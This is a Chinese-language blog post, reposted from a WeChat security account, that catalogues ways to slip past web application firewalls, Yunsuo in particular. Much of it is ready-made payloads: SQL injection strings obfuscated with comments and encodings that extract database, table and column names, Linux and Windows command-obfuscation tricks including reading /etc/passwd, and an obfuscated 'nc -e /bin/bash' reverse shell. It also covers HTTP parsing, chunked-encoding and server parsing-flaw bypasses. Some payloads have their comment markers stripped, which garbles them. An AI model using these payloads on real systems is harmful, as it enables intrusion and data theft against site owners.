每日一洞 | waf雲鎖繞過
文章源自:酒仙橋六號部隊公眾號
前言:前一陣子微步面試恰巧有問到過我如何去bypass雲鎖,可能太緊張了所以只說了一種方法其實在原有的http參數污染的情況下我們還可以去嘗試進行一些可接受字符串的整體編碼只要后端能夠接受。
waf對抗規則繞過
原理:匹配不到惡意語句就不會攔截
1. 對關鍵字進行不同的編碼:
- select * from zzz = select * from %257a%257a%257a //url編碼
- 單引號 = %u0027、%u02b9、%u02bc // Unicode編碼
- adminuser = 0x61646D696E75736572 // 部分十六進制編碼
- 空格 = %20 %09 %0a %0b %0c %0d %a0 //各類編碼
2.對關鍵字進行大小寫轉換
Union select = uNIoN sELecT
通過其他語義相同的關鍵字替換
- And = &&
- Or = ||
- 等於 = like 或綜合<與>判斷
- if(a,b,c) = case when(A) then B else C end
- substr(str,1,1) = substr (str) from 1 for 1
- limit 1,1 = limit 1 offset 1
- Union select 1,2 = union select * from ((select 1)A join (select 2)B;
- hex()、bin() = ascii()
- sleep() = benchmark()
- concat_ws() = group_concat()
- mid()、substr() = substring()
- @@user = user()
- @@datadir = datadir()
3.配合windows的特性(可以繞過rce或者命令執行)
- whoami = ((((Whoam""i)))) //利用符號分割字符執行whoami
- whoami = set a=net&&b=user&&call %a%%b% //利用變量分割關鍵字執行whoami
- set a=123whoami456 // 為了方便演示這里設置一個變量
echo %a:~3,6% // 取出變量a的第3位開始共計6個字符這里可以驗證自己是否有取出想要的字符
%a:~3,6% //執行取出的值,通過截取系統變量然后拼接可以繞過大部分檢測
4.配合linux的特性(可以繞過rce或者命令執行)
- whoami = w'h'o'a'm"i" //單引號或雙引號連接符,需要閉合
- Cat /etc/passwd = cat /?t/??ss** //?,通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符 - Whoami = a=who&&b=ami&&$a$b //當然linux下也可以變量拼接
- cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目錄穿越, /被攔截
- nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433 1234 //(127.0.0.1 → 2130706433) //shell反彈也可以配合特性使用
5.配合mysql特性
/**/數據庫注釋符,中間部分被注釋,可用於截斷關鍵字,干擾waf匹配
- User() = user//() // 注釋符//也可以用於替換空格
- Union select = /95554/Union/test123/select
/!/內斂注釋,中間部分繼續執行,mysql特有(有些安全產品在防守其他數據庫的時候把/*! */里面的數據過濾)
- User() = /!user/123/()/ // /!/內部繼續執行
- Union select = /!union//123//!select/ //組合
%0a換行與#單行注釋符配合使用。
1.Union select = union#A%0aselect //用#注釋,再用%0a逃出注釋繼續執行后面語句
6.配合過濾代碼或者漏洞的本身
關鍵字被過濾,雙寫關鍵字。
- and = anandd //將關鍵字過濾掉后剩下的
內容組成新的關鍵字
通過chr()函數變換關鍵字。
- phpinfo = base_convert(27440799224,10,32) //從10進制轉換成32進制
http協議繞過
原理:理解不了惡意語句就不會攔截。
1. Content-Type繞過
有的waf 識別到Content-Type類型為multipart/form-data后,會將它認為是文件上傳請求,從而不檢測其他種類攻擊只檢測文件上傳,導致被繞過。
- application/x-www-form-urlencoded è multipart/form-data
2. HTTP請求方式繞過
waf在對危險字符進行檢測的時候,分別為post請求和get請求設定了不同的匹配規則,請求被攔截,變換請求方式有幾率能繞過檢測。
Ps:雲鎖/安全狗安裝后默認狀態對post請求檢測力度較小,可通過變換請求方式繞過。
3. 參數污染繞過
由於http協議允許同名參數的存在,同時waf的處理機制對同名參數的處理方式不同,造成“參數污染”。不同的服務器搭配會對傳遞的參數解析出不同的值。配合waf與中間件對參數解析位置不同,可能繞過waf。
- 提交的參數為:?id=1&id=2&id=exp
- asp.net+iis:id=1,2,exp
- asp+iis:id=1,2,exp
- php+apache:id=exp
4. 解析特性繞過
原理:利用waf於后端服務器的解析不一致。
iis5.0 - 6.0解析漏洞
- .asp --> /xx.asp/xx.jpg //.asp,.asa目錄下的文件都解析成asp文件
- .asp --> xx.asp;.jpg //服務器默認不解析;號后面的內容
Iis7.5解析漏洞(php.ini開啟fix_pathinfo)
- .php --> /xx.jpg //上傳.jpg一句話,訪問時后面加上/xx.php
apache解析漏洞
- .php-->/test.php.php123 //從右往左能別的后綴開始解析
nginx解析漏洞(php.ini 開啟fix_pathinfo)
- .php --> xxx.jpg%00.php //Nginx < 8.03空字節代碼執行漏洞
5.多Content-Disposition繞過
請求包中包含多個Content-Disposition時,中間件與waf取值不同
6.解析兼容性繞過
在http協議中,標准的文件名的形式為filename=”1.php”,但是web容器會在解析協議時做一些兼容,文件上傳時,有的waf只按照標准協議去解析,解析不到文件名,從而被繞過。
- filename="test.php filename=test.php filename=‘test.php‘
7.keep-alive(Pipeline)繞過
原理:http請求頭部中有Connection這個字段,建立的tcp連接會根據此字段的值來判斷是否斷開,我們可以手動將此值置為keep-alive,然后在http請求報文中構造多個請求,將惡意代碼隱藏在第n個請求中,從而繞過waf。
8. 分塊傳輸繞過
原理:分塊編碼傳輸將關鍵字and,or,select ,union等關鍵字拆開編碼,繞過waf等安全設備的檢測,但無法繞過代碼本身的檢測。
9. 修改編碼方式:Charset繞過
原理:大部分的WAF默認用UTF8編碼檢測,修改編碼方式可能會繞過waf,例如設置charset為ibm037。
Waf檢測限制繞過
原理:超出waf檢測能力部分不會攔截。
參數溢出
原理:通過增加傳遞得參數數量,達到waf檢測上限,超出的參數就可繞過waf了。可繞一些輕量級waf,如phpstudy自帶waf。
緩沖區溢出
原理:當服務器可以處理的數據量大於waf時,這種情況可以通過發送大量的垃圾數據將 WAF 溢出,從而繞過waf。
網絡結構繞過
原理:不經過安全設備就不會攔截。
源ip繞過
原理:直接對源地址發起攻擊,流量不會經過waf,從而成功繞過。
正常訪問流量
同網段/ssrf繞過
同理, 因同網段的流量屬於局域網,可能不經過waf的檢測。通過服務器A自身或B的ssrf漏洞,從網絡內部發起攻擊流量。
bypass雲鎖
1.規則繞過
使用%23將后面的內容給注釋掉;
使用%0a將后面的內容進行換行,使后面的sql語句逃出注釋就能繼續行了。遇到關鍵函數被攔截,就在其中插入注釋與換行。
- Payload:test.php?id=1 /!order///%23A%0A//%23A%0A/!by//**/2
- Payload:test.php?id=1 /!UNIon///%23A%0A//%23A%0A/!select///database(),user//()
- Payload:test.php?id=1%20/!UNIon/%23A%0A/!select///database//(),group_concat(table_name)//%23A%0A//%23A%0A/!from///%23A%0Ainformation_schema.tables//%23A%0A//%23A%0Awhere%20table_schema=database//()
- test.php?id=1 /!UNIon/%23A%0A/!select///database//(),group_concat(column_name)//%23A%0A//%23A%0A/!from///%23A%0Ainformation_schema.columns//%23A%0A/**/%23A%0Awhere table_name='users'
2.http協議繞過
既然waf攔截組合,那我們通過分塊傳輸將關鍵字分塊。
首先將請求方式變為post並抓包,修改數據包為分段傳輸格式。
注意:這里Transfer-Encoding:的值設為x chunked而不是chunked。
構造sql語句判斷字段數。
分割union select查詢出數據庫。
成功爆出表名。